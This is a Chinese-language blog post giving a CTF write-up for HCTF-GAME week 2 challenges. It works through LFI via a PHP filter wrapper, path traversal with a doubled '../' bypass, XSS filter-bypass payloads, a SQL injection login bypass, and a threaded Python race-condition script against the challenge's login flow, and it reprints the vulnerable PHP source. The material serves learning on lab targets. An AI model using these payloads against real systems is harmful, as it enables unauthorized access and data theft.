HeartSky's blog


在渗透之路上渐行渐远


HCTF-GAME week2 writeup

WEB

从0开始LFI之0

题目描述: 送分题 flag在../flag.php
http://119.29.138.57:12000/

没啥好说的,只是为了说下文件包含这个概念

从0开始LFI之1

题目描述: flag在哪呢?
http://119.29.138.57:12001/

是接着上一道题的,当包含 ../flag.php,得到提示 flag 不在这,f12 看一下,说是在注释里,既然不在 HTML 注释里,那就在 PHP 注释里了呗。接下来只要利用 PHP 伪协议读取文件就可以了。

1
show.php?file=php://filter/read=convert.base64-encode/resource=../flag.php

参考文档 : http://php.net/manual/zh/wrappers.php.php

Explorer的图包

题目描述: LoRexxar一直念念不忘Explorer的图包,一气之下Explorer把图放在了服务器上,当LoRexxar又需要的时候可以自己去下。
115.28.78.16:13333/6841a43503c4a909484566cdc2850fce/
Hint: 1、基本的盲测是发掘漏洞的基本手段
2、网站总有一些页面不希望网络爬虫获得

刚开始 binwalk 跑了下有东西,提取出来是本身,以为是循环拆图片 = =
后来给了提示之后就很明白了,看下 robots.txt,得到 flag 文件位置

1
2
3
User-agent: *
Disallow: /
Disallow: /fl1l11l1ag.php

剩下的就是一个很简单的盲测了,抓包可发现只有一个文件下载功能

1
?f=explorer.jpg

随手试了下找到了图片的位置 images/explorer.jpg,尝试修改为 flag 文件的位置

1
?f=../fl1l11l1ag.php

发现返回的是默认的页面,猜想可能有过滤,回到图片那里,测试了下这几个返回的都是图片

1
2
?f=./explorer.jpg
?f=../explorer.jpg

当再加一个 . 时就又返回了默认页面,结合响应头里的 filename 变成了 .explorer.jpg,这不就很明显是把 ../ 替换成空格了吗,绕过也简单,双写就可以了

1
?f=....//fl1l11l1ag.php

顺便读一下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

if(!empty($_GET['f'])){
$filename = str_replace('../', '', $_GET['f']);

if(substr($filename, 0, 1) === '/') exit(0);

header('Content-disposition: attachment; filename='.basename($filename));
$filename = './images/'.$filename;

readfile($filename);
}

?>

do you want explorer's gallery?

<a href="./index.php?f=explorer.jpg" >click me</a>

从0开始之XSS challenge0

题目描述: http://123.206.199.184/xss/0x00/

只把 script 替换成了空格,n 种方式可以弹窗,给出几个 payload

1
2
3
<scrscriptipt>alert(1)</scrscriptipt>
<img src=1 onerror=alert(1)>
<input type="image" src=1 onerror=alert(1)>

从0开始之XSS challenge1

题目描述: http://123.206.199.184/xss/0x01/

过滤了这些

1
2
3
4
script
img
>
(

依然可以绕过

1
2
3
4
5
" type=image src=1 onerror="alert`1`
" type=image src=1 onerror=alert&#40;1) "
" autofocus onfocus="alert&#40;1)
" type=image onerror=eval&#40;atob&#40;'YWxlcnQoMSk=')) src="1
" type=image src=1 onerror=eval.call`${'alert\x281)'}` "

涉及以下知识点

1
2
input 标签中只有第一个 type 会生效
标签属性值中的 HTML 编码会被自动解码

从0开始之XSS challenge2

题目描述: http://123.206.199.184/xss/0x02/

过滤了这些

1
2
"
/

但输出是在 svg 标签内的,在 svg 向量里面,会先进行 xml 解析,所以可构造如下 payload

1
2
&#34;;alert(1);&#34;
&quot;;alert(1)&#47;&#47;

PWNTEST

我是最简单的渗透题

题目描述: http://115.28.78.16:13333/pentest/0x01/

打开网站后只有一个登录框,其他的什么也没有,大概就是 SQL 注入了,模糊测试后得到绕过方式

1
1||1#

查询语句大概这样

1
$query1 = "SELECT * FROM xxx WHERE username = $username and password = $password";

ez game

题目描述: aklis正在线上debug的时候,LoRexxar拔了他的网线,于是…
http://115.28.78.16:13333/3a94a786f2f3af094a461b295bc4e2f6/

由描述可知应该是备份文件泄露问题,搜下常见的备份文件试一下就知道了,不过开始时 403 了,后来才可以正常下载。这里是 vim 在编辑时的缓冲区备份文件 .*.swp,如果在编辑过程中电脑断电或 vim 发生异常就可以从这个文件恢复

1
vim -r .*.swp

然后就得到了 register.phplogin.php 的源码

register.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
include('config.php');

if (isset($_POST['username']) && isset($_POST['password'])) {
if ($_POST['username']==='' || $_POST['password']==='' || $_POST['gogogo']!=='苟!')
{
exit("something error...");
}
$mysqli = new mysqli(MYSQL_HOST, MYSQL_USER, MYSQL_PASSWORD, MYSQL_DATABASE);

if ($mysqli->connect_errno) {
exit("gg".$mysqli->error);
}

$username = $mysqli->escape_string($_POST['username']);
$password = sha1($_POST['password']);

if($result = $mysqli->query("select * from users where username='$username'")) {
if ($result->num_rows) {
$result->close();de
exit("username is exist");
}
}

$query = "insert into users (id, username, password) values (NULL , '$username', '$password')";
if ($mysqli->query($query) !== TRUE) {
exit('gg...'.$mysqli->error);
}

$query = "select * from users where username = '$username'";
$result = $mysqli->query($query);
if ($result) {
$row = $result->fetch_array();
$uid = $row['id'];
$query = "insert into role (id, uid, level) values (NULL, $uid, 0)";
if ($mysqli->query($query) === TRUE) {
exit("success");
}
}
exit ("Oh! No!");

}

?>
login.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
include("config.php");

if (isset($_SESSION['username'])) {
header("Location: ./index.php");
exit();
}


if (isset($_POST['username']) && isset($_POST['password'])) {
if ($_POST['username']==='' || $_POST['password']==='' || $_POST['gogogo']!=='苟!')
{
exit("something error...");
}

$ocode = intval(trim($_POST['code']));


$mysqli = new mysqli(MYSQL_HOST, MYSQL_USER, MYSQL_PASSWORD, MYSQL_DATABASE);

if ($mysqli->connect_errno) {
exit("gg".$mysqli->error);
}

$username = $mysqli->escape_string($_POST['username']);
$password = sha1($_POST['password']);

$query = "select * from users where username='$username' and password='$password'";

$result = $mysqli->query($query);

if ($result) {
$row = $result->fetch_array();
$_SESSION['id'] = $row['id'];
$_SESSION['username'] = $row['username'];
$query = "select * from role where uid = $_SESSION[id]";
$res = $mysqli->query($query);
$row = $res ? $res->fetch_array() : array();
$_SESSION['level'] = $row['level'];

header("Location: ./index.php");kanxia
} else {
exit("Wrong username or password...");
}

}


?>

我们可以看到 register.php 里第 35 行,用户注册后不仅向 users 表添加了记录,还向 role 表添加了 level 为 0 的记录,虽然暂时不知道干啥的,但出现了肯定是有意义的,再去看下 login.php,第 36 行对 role 表进行了查询,并取出了当前用户的 level,差不多就是这样,然后再去注册登录试下,发现每次登上去都是

1
you are just guest, you can't touch flag!

再与源码中出现的 level 相联系,可能是判断的 level,注入是不可能了,我们再看下源码中 level 出现的地方,可以发现用户注册后 level 便被设置为 0,猜测判断代码是这样

1
2
3
4
if($level === 0)
{
exit("you are just guest, you can't touch flag!");
}

那么我们的目标就是让 level 不为 0 了,看下 login.php 里的与 level 有关的部分

1
2
3
4
$query = "select * from role where uid = $_SESSION[id]";
$res = $mysqli->query($query);
$row = $res ? $res->fetch_array() : array();
$_SESSION['level'] = $row['level'];

看起来好像没什么问题,但第三行,如果表中没有这条记录,便会跳到 array(),那 level 就是 NULL ,这样就能拿到 flag 了。这里就是条件竞争了,大致就是用多个线程同时模拟注册和登录请求,总会有一次在向 role 表添加记录之前完成登陆,附上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import threading
import time

def register(data):
r = requests.post(url = "http://115.28.78.16:13333/3a94a786f2f3af094a461b295bc4e2f6/register.php",data = data)
# print r.text

def login(data):
s = requests.Session()
r = s.post(url = "http://115.28.78.16:13333/3a94a786f2f3af094a461b295bc4e2f6/login.php",data = data)
r = s.get(url = "http://115.28.78.16:13333/3a94a786f2f3af094a461b295bc4e2f6/index.php")
if "hctf" in r.text:
print r.text

for i in range(0,10):
# a = "o2a2l1l5a9" + str(i).zfill(3)
a = 'aaO0qzxPak' + str(i)
data = {'username':a,'password':a,'gogogo':'苟!'}

threading.Thread(target = register,args = (data,)).start()
# time.sleep(0.072)
threading.Thread(target = login,args = (data,)).start()

MISC

explore的奇怪番外2

题目描述: http://121.42.25.113/io2/io2.html

连上去之后得到题目要求

1
2
3
Plz give me some data
The data's len is 100
The data's sha256 must start with 5b e0 bc

sha256 加密后开头的值是会变化的,只要做过番外 1,知道了怎么写 socket,这题也差不多难度吧(先跑出来手动提交也可以

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import socket
import hashlib
import re
import random
import string


ipPort = ('121.42.25.113',20001)
sk = socket.socket()
sk.connect(ipPort)
mes = sk.recv(1024)
mes = sk.recv(1024)

pat = 'with.*'
mes = re.search(pat,mes).group(0)[5:].split(' ')
start = ''.join(mes)
print start

while 1:
s = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(100))
hash = hashlib.sha256(s).hexdigest()
print hash[:6]
if hash[:6] == start:
sk.sendall(s + '\n')
mes = sk.recv(1024)
break

print 'flag is ' + mes
sk.close()

看运气的题目 233

我是一个有格调的misc题目

题目描述:
链接:http://pan.baidu.com/s/1o8wJuGU 密码:pewf

flag 在请求 url 里,搜下就有了

Crypto

密码学教室进阶(五)

题目描述: n=0xee290c7a603fc23300eb3f0e5868d056b7deb1af33b5112a6da1edc9612c5eeb4ab07d838a3b4397d8e6b6844065d98543a977ed40ccd8f57ac5bc2daee2dec301aac508f9befc27fae4a2665e82f13b1ddd17d3a0c85740bed8d53eeda665a5fc1bed35fbbcedd4279d04aa747ac1f996f724b14f0228366aeae34305152e1f430221f9594497686c9f49021d833144962c2a53dbb47bdbfd19785ad8da6e7b59be24d34ed201384d3b0f34267df4ba8b53f0f4481f9bd2e26c4a3e95cd1a47f806a1f16b86a9fc5e8a0756898f63f5c9144f51b401ba0dd5ad58fb0e97ebac9a41dc3fb4a378707f7210e64c131bca19bd54e39bbfa0d7a0e7c89d955b1c9fL
e=0xe438fddb77f9bc2cf97185041e8a5ce8d0853cbfb657b940505870f0d3dfc0b723c5f7c8c9b940769f358397e275d00cce1cf760f9892a4b83ff90cbe513c6cc450258d02bcee33e499fb028c2b0d811bba22ef0c4fea314018d4943451ecdeb5d6e98bd5ed71ab7862a747f851c532aeae6c29f52c3f9be649a4142810ddb83015386fd035fcdc28059236135a9cce24fd650062067dcf43f5dcf24e15f132e9dca4ff68cc76jiuyoulejiuyoule37139dbdba276157f11e8af118d8dfae3f811a0377ba37555f9L
c=0xbe864c22e69bd872541b7538b3c9797cf76afa2b2cac70c5a1a47fb6b6046daf345946d6e0eb299d12a7485ad9edaced28ef0b3169a22d1cba69c1e556ed2a69b6eca7e030f8cf61616faff4e063caf1a0668d4357594e7ff8887f00f61df5161e94f2197abcc2d34db666a34fa9e0f108c7937dc09b8e091ba2a4180f88f1b58229891bd619025f2c13f5758d7f4f6ac8f4d3f565449a730fef9ecee37f5409b801b554a30cfb42f69afc734b7709c5df6618e94e96b5d24a4b63cd1907296ae9bbd36084bad58c5e5cb3d275c953efc73aff595f36d92e182d6705fee14dabd29df53735132249d5935f8e780210359d67ab80ac2dfa29a88a5f585cbda8bbL

我们知道 RSA 的安全性依赖于大数分解的困难度,这题的 n 容易分解的原因是其中一个素因数太小了,分解成 p 和 q 后就是老套路了

密码学教室进阶(六)

题目描述: 我只是想用事实告诉你们学好线代很重要
Hill密码:https://en.wikipedia.org/wiki/Hill_cipher
m:jchfecncvxogmtgqtqlqamqutqsgnniw
key:5 17 4 15
完成解密以后加上hgame{}作为flag

懒得写脚本了,找了个在线网站解的
http://crypto.interactive-maths.com/hill-cipher.html

进击的 Crypto [0]

题目描述: 听说你们喜欢暴力出奇迹?我觉得选择也很重要
http://119.29.138.57/crypto/easy_rsa.txt.34b3396feff9f911a61e932a22c4470

分数给高了,这题考点是 RSA 中的共享素数攻击,测试一下就会发现几组 n 都不是互素的,所以大数分解问题就转变成了求两数的最大公约数问题,接下来就没啥难度了,基本能看出来这点的就可以做出来了(会不会真的有暴力跑 n 的(逃

总结

Crypto 的题目还是入门级别吧,连真正 CTF 的签到都算不上,web 里两个系列也是,ez game 还是挺强的,虽说改编的原题。继续学吧!

最后,祝大家新年吼啊!